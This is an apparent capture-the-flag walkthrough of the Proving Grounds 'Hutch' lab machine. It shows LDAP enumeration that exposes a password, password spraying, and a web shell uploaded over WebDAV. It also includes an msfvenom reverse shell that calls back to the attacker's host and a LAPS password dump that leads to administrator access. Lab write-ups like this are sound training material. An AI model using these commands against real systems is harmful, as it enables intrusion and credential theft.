In this walk through, we will be going through the Hutch room from Proving Grounds. This room is rated as Intermediate on the platform and it consist of extensive LDAP Enumeration to get the foothold on the target. Once foothold is established, privilege escalation have to done via the LAPS abuse. So, let’s get started without any delay.
Table of Contents
Machine Info:
| Title | Hutch |
| IPaddress | 192.168.153.122 |
| Difficulty | Intermediate |
| OS | Windows |
| Description | Hutch is an Intermediate Windows machine that requires extensive LDAP Enumeration to get the foothold on the target. Once foothold is established, privilege escalation have to done via the LAPS abuse. |
Enumeration:
- I started off with a regular nmap aggressive and a TCP full port scan. Found multiple ports opened – 80 (HTTP), 88 (Kerberos), 139,445 (SMB), 389, 3268 (LDAP) and 5985 (WinRM).
$ sudo nmap -A 192.168.153.122 [sudo] password for wh1terose: Starting Nmap 7.80 ( https://nmap.org ) at 2024-02-12 15:40 IST Nmap scan report for 192.168.153.122 Host is up (0.22s latency). Not shown: 989 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server | http-webdav-scan: | Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK | Server Type: Microsoft-IIS/10.0 | WebDAV type: Unknown | Server Date: Mon, 12 Feb 2024 10:11:25 GMT |_ Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-02-12 10:11:04Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hutch.offsec0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hutch.offsec0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: specialized Running (JUST GUESSING): AVtech embedded (87%) Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%) No exact OS matches for host (test conditions non-ideal). Network Distance: 4 hops Service Info: Host: HUTCHDC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: -1s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2024-02-12T10:11:27 |_ start_date: N/A TRACEROUTE (using port 139/tcp) HOP RTT ADDRESS 1 207.25 ms 192.168.45.1 2 207.21 ms 192.168.45.254 3 207.33 ms 192.168.251.1 4 207.74 ms 192.168.153.122 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 229.80 seconds
sudo nmap -sS -p- -T5 192.168.161.122
- Added the domain to my /etc/hosts file.
- Enumerated the web server on port 80 reveals a default IIS page.
- Fired gobuster on the target to reveal some hidden directories. Found nothing useful.
gobuster dir -u http://192.168.161.122/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -x asp,aspx -t 20
- Next, tried to enumerate SMB shares using smbclient and smbmap but nothing back.
smbclient -L 192.168.161.122 smbmap -H 192.168.161.122
- Moving on, i performed LDAP enumeration using windapsearch script to enumerate the domain usernames. Got a bunch of them back in the result.
python3 ~/Tools/windapsearch/windapsearch.py --dc-ip 192.168.161.122 -U [+] No username provided. Will try anonymous bind. [+] Using Domain Controller at: 192.168.161.122 [+] Getting defaultNamingContext from Root DSE [+] Found: DC=hutch,DC=offsec [+] Attempting bind [+] ...success! Binded as: [+] None [+] Enumerating all AD users [+] Found 14 users: cn: Guest cn: Rosaline Placidi userPrincipalName: [email protected] cn: Otto Patry userPrincipalName: [email protected] cn: Lyndsie Taunton userPrincipalName: [email protected] cn: Arlyn Costello userPrincipalName: [email protected] cn: Johnnie Sparwell userPrincipalName: [email protected] cn: Ottilie Knee userPrincipalName: [email protected] cn: Joan McKendry userPrincipalName: [email protected] cn: Alexia Victoria userPrincipalName: [email protected] cn: Jane Frarey userPrincipalName: [email protected] cn: Editha Aburrow userPrincipalName: [email protected] cn: Claus Luddy userPrincipalName: [email protected] cn: Arthur Gitthouse userPrincipalName: [email protected] cn: Freddy McSorley userPrincipalName: [email protected]
- I sorted the data and saved the target usernames in a text file.
cat emails.txt | grep @hutch.offsec | cut -d ':' -f 2 | cut -d '@' -f 1 | cut -d ' ' -f 2 > usernames.txt cat usernames.txt rplacidi opatry ltaunton acostello jsparwell oknee jmckendry avictoria jfrarey eaburrow cluddy agitthouse fmcsorley
- I tried to performed AS-REP roasting with impacket GetNPUsers script on the found usernames however none of them had the Kerberos Pre-Auth not set.
- Moved back by enumeration to the LDAP again, this time i dumped the description associated with the user accounts, which reveal a fmcsorley user password in it.
ldapsearch -H ldap://192.168.161.122 -x -b "DC=hutch,DC=offsec" | grep description
fmcsorley: CrabSharkJellyfish192
- Once we got the creds, the next course of action is to get access with it. So, i sprayed it on the target to see if they are valid or not.
crackmapexec smb 192.168.161.122 -u fmcsorley -p CrabSharkJellyfish192
- Next, i tried to get a shell access on the target using WinRM and our found creds but was unable to do so.
crackmapexec winrm 192.168.161.122 -u fmcsorley -p CrabSharkJellyfish192
- Further, i sprayed the password on the username list we got but nothing came back as success except the fmcsorley user.
crackmapexec smb 192.168.161.122 -u usernames.txt -p CrabSharkJellyfish192
Initial Access:
- As per the nmap result, we have the web server running on port 80 has webDAV enabled to it. So what if we can access it using cadaver with our user creds. I did the same and got in.
$ cadaver 192.168.161.122 Authentication required for 192.168.161.122 on server `192.168.161.122': Username: fmcsorley Password: CrabSharkJellyfish192
- Next, i uploaded the below aspx web shell on the target using webDAV.
Webshell (Aspx): https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx
put cmdshell.aspx
- I was able to get access to the webshell on port 80.
- Now we will upgrade our web shell access to a proper reverse shell. For that, we will create a reverse shell executable using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.152 LPORT=445 -f exe > shell.exe
- Put it on to the target. Execute it using the webshell and capture the connection at our netcat listener.
put shell.exe
- Captured the local flag from user Fmcsorley’s Desktop.
Trending
Privilege Escalation:
LAPS
- I looked into the Installed application in C:\ProgramFiles and found out that LAPS has been installed on the target.
- If LAPS in installed, we can use ldap with our user creds to get the LAPS Admin Password.
ldapsearch -h 192.168.161.122 -b 'DC=hutch,DC=offsec' -x -D [email protected] -w 'CrabSharkJellyfish192' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
administrator: {.927/%w1L06w6
- Got the shell access as Administrator on the target and captured the root flag.
evil-winrm.rb -i 192.168.161.122 -u administrator -p '{.927/%w1L06w6'
Also Read: PG – Helpdesk
Conclusion:
So that was “Hutch” for you. We started off with a regular nmap scan and found multiple ports opened – 80 (HTTP), 88 (Kerberos), 139,445 (SMB), 389, 3268 (LDAP) and 5985 (WinRM). Performed LDAP Enumeration on port 3268 and found user fmcsorley creds in LDAP description. Next, with the found creds, accessed the webdav installation via cadaver and uploaded our payload which in result gives us initial access on the target. For Privilege escalation, found LAPS installed on the target. So, again used LDAP to get the LAPS admin password which eventually gives us root. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.
